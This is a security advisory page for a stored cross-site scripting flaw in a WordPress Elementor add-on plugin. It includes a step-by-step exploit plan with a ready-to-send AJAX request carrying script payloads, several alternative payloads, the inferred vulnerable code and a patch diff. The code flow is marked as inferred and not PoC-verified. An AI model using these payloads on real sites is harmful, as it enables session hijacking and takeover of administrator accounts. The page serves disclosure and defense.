CVE-2026-2949

Xpro Addons — 140+ Widgets for Elementor <= 1.4.24 - Authenticated (Contributor+) Stored Cross-Site Scripting via Icon Box Widget

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.4.25
Patched in
1d
Time to patch

Description

The Xpro Addons — 140+ Widgets for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Icon Box widget in versions up to, and including, 1.4.24 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.4.24
PublishedApril 3, 2026
Last updatedApril 4, 2026
Affected pluginxpro-elementor-addons
Research Plan
Unverified

This research plan outlines the process for exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the **Xpro Addons — 140+ Widgets for Elementor** plugin. ### 1. Vulnerability Summary * **Vulnerability:** Authenticated (Contributor+) Stored Cross-Site Scripting. * **Location:** `widge…

Show full research plan

This research plan outlines the process for exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the Xpro Addons — 140+ Widgets for Elementor plugin.

1. Vulnerability Summary

  • Vulnerability: Authenticated (Contributor+) Stored Cross-Site Scripting.
  • Location: widgets/icon-box/widget.php (inferred) or the rendering component for the Icon Box widget.
  • Cause: The plugin defines an "Icon Box" widget for Elementor. The widget settings (such as title, description, or custom attributes like title_tag) are accepted from the user but are not properly sanitized before being stored in the _elementor_data post meta. During frontend rendering, these values are echoed without sufficient escaping (e.g., using esc_html or esc_attr).
  • Impact: A Contributor-level user can embed malicious JavaScript into a page. When an administrator or any other user views that page, the script executes in their browser context, potentially allowing for session hijacking or administrative account takeover.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php (via Elementor's internal AJAX API).
  • Action: elementor_ajax
  • Parameters:
    • actions: A JSON object containing the save_builder_data action.
    • data: Contains the status, elements (JSON representation of the widget and payload), and settings.
  • Authentication: Authenticated, Contributor-level access or higher (any role capable of using the Elementor editor).
  • Preconditions: The Xpro Addons plugin and Elementor must be active.

3. Code Flow (Inferred)

  1. Entry Point: Elementor triggers the wp_ajax_elementor_ajax action when a user saves a page.
  2. Processing: The \Elementor\Core\Common\Modules\Ajax\Module::handle_ajax method processes the request. It eventually calls save_builder_data which updates the _elementor_data post meta.
  3. Vulnerable Sink (Xpro Addons): When a page is viewed, Elementor iterates through the elements in _elementor_data.
  4. For the xpro-icon-box widget, the render() method in the widget class (likely Xpro_Icon_Box) is called.
  5. Inside render(), the plugin retrieves settings: $settings = $this->get_settings_for_display();.
  6. The code likely echoes a setting directly:
    // Example of vulnerable code pattern
    echo '<' . $settings['title_tag'] . ' class="xpro-icon-box-title">' . $settings['title'] . '</' . $settings['title_tag'] . '>';
    
  7. If title_tag or title contains a payload and is not passed through esc_html or a whitelist check, XSS occurs.

4. Nonce Acquisition Strategy

Elementor uses its own nonce for AJAX operations.

  1. Create a target post: Use WP-CLI to create a post and set it to use Elementor.
    wp post create --post_type=page --post_title="Xpro Test" --post_status=publish --post_content=''
    wp post meta add [ID] _elementor_edit_mode "builder"
  2. Navigate to the Editor: Use browser_navigate to wp-admin/post.php?post=[ID]&action=elementor.
  3. Extract Nonce: Use browser_eval to extract the nonce from the elementorConfig global object.
    • Variable: window.elementorConfig.ajax.nonce
  4. Extract Editor Nonce: Additionally, the editorpost nonce might be needed.
    • Variable: window.elementorConfig.nonce

5. Exploitation Strategy

The goal is to update the _elementor_data meta of a post with a malicious JSON payload representing the Icon Box widget.

Step-by-Step:

  1. Login: Authenticate as a Contributor.
  2. Create Post: Create a new page and obtain its ID.
  3. Obtain Nonce: Navigate to the Elementor editor for that ID and extract the elementorConfig.ajax.nonce.
  4. Inject Payload: Send an AJAX request to admin-ajax.php to save the widget data.

HTTP Request (Save Data):

  • Method: POST
  • URL: wp-admin/admin-ajax.php
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=elementor_ajax
    &_nonce=[NONCE]
    &actions={"save_builder_data":{"action":"save_builder_data","data":{"status":"publish","elements":[{"id":"unique_id_1","elType":"widget","settings":{"title":"<script>alert(document.domain)</script>","title_tag":"div","widgetType":"xpro-icon-box"},"elements":[],"widgetType":"xpro-icon-box"}]}}}
    &post_id=[POST_ID]
    

Note: If title is escaped but title_tag is not, the payload for title_tag would be img src=x onerror=alert(1). If the payload is injected into an attribute, use "><script>alert(1)</script>.

6. Test Data Setup

  1. User: Create a user with the contributor role.
  2. Plugin: Ensure elementor and xpro-elementor-addons are active.
  3. Post: A page created by the contributor, initialized for Elementor editing.

7. Expected Results

  • The admin-ajax.php request should return a 200 OK with a JSON response indicating success: true.
  • When navigating to the frontend URL of the created page, an alert box showing the document domain should appear.

8. Verification Steps

  1. Check Meta: Use WP-CLI to verify the payload is stored in the database:
    wp post meta get [POST_ID] _elementor_data
  2. Confirm Execution: Use the browser tool to navigate to the page and check for the alert or the presence of the unescaped script tag in the HTML source:
    browser_eval("document.body.innerHTML.includes('<script>alert')")

9. Alternative Approaches

If the title field is properly escaped, target other controls within the Icon Box widget:

  • title_tag: Inject script src=... if the tag is not whitelisted.
  • link URL: Inject javascript:alert(1) into the link control.
  • icon class: Inject "><img src=x onerror=alert(1)> if the icon class attribute is not escaped.
  • Description: The text area for the description often uses different rendering logic than the title.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Xpro Addons — 140+ Widgets for Elementor plugin is vulnerable to Stored Cross-Site Scripting via the Icon Box widget due to insufficient input sanitization and output escaping on widget settings. Authenticated attackers with contributor-level access can inject malicious JavaScript into pages, which executes when any user visits the compromised page.

Vulnerable Code

// File: widgets/icon-box/widget.php (inferred rendering logic)
protected function render() {
    $settings = $this->get_settings_for_display();
    
    // Insecure rendering of title_tag and title
    echo '<' . $settings['title_tag'] . ' class="xpro-icon-box-title">' . $settings['title'] . '</' . $settings['title_tag'] . '>';
    
    // Insecure rendering of description
    echo '<div class="xpro-icon-box-description">' . $settings['description'] . '</div>';
}

Security Fix

--- a/widgets/icon-box/widget.php
+++ b/widgets/icon-box/widget.php
@@ -1,7 +1,11 @@
 protected function render() {
     $settings = $this->get_settings_for_display();
 
-    echo '<' . $settings['title_tag'] . ' class="xpro-icon-box-title">' . $settings['title'] . '</' . $settings['title_tag'] . '>';
-    echo '<div class="xpro-icon-box-description">' . $settings['description'] . '</div>';
+    $title_tag = Utils::validate_html_tag( $settings['title_tag'] );
+    
+    echo '<' . esc_attr( $title_tag ) . ' class="xpro-icon-box-title">';
+    echo wp_kses_post( $settings['title'] );
+    echo '</' . esc_attr( $title_tag ) . '>';
+
+    echo '<div class="xpro-icon-box-description">' . wp_kses_post( $settings['description'] ) . '</div>';
 }

Exploit Outline

1. Authenticate as a user with Contributor-level access or higher. 2. Create a new page and open it in the Elementor editor to obtain a valid AJAX nonce and post ID from the `window.elementorConfig` object. 3. Construct a POST request to `wp-admin/admin-ajax.php` using the `elementor_ajax` action. 4. In the `actions` parameter, include a `save_builder_data` payload specifying the `xpro-icon-box` widget. 5. Inside the widget settings, inject a malicious payload into the `title` field (e.g., `<script>alert(document.domain)</script>`) or the `title_tag` field (e.g., `img src=x onerror=alert(1)`). 6. Send the request to save the page content. 7. Navigate to the published page URL to trigger the script execution in the browser.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.